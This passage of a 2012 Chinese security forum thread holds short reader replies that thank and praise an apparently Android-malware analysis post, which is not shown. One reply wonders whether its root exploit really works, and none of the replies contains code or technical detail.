能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luoyinkey 2012-6-24 21:42
15
0
相当不错的分析,受用了,只是不知道能否真的root,没有非root的真机测试啊。不过释放部分的代码挺好的。
雪    币: 225
活跃值: (120)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
hellok 3 2012-6-27 16:30
16
0
好文路过学习
雪    币: 84
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wlksl 2012-8-15 08:45
17
0
好文,学习了,谢谢楼主!
雪    币: 1021
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zig 2012-8-15 09:31
18
0
支持一下
手机上的恶意软件杀伤力太大了,,,
雪    币: 123
活跃值: (50)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kmsmxpro 2012-8-16 08:11
19
0
正在学习,先占个位!
雪    币: 130
活跃值: (61)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ouyangtian 2012-8-24 12:41
20
0
好贴,mark....
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Hacker—小宇 2012-9-5 11:25
21
0
支持大牛深刻剖析
雪    币: 116
活跃值: (72)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
ruoko 2012-9-26 15:11
22
0
好文支持,可惜我技术还没达到能看懂的层次。
顶一下。
游客
登录 | 注册 方可回帖
返回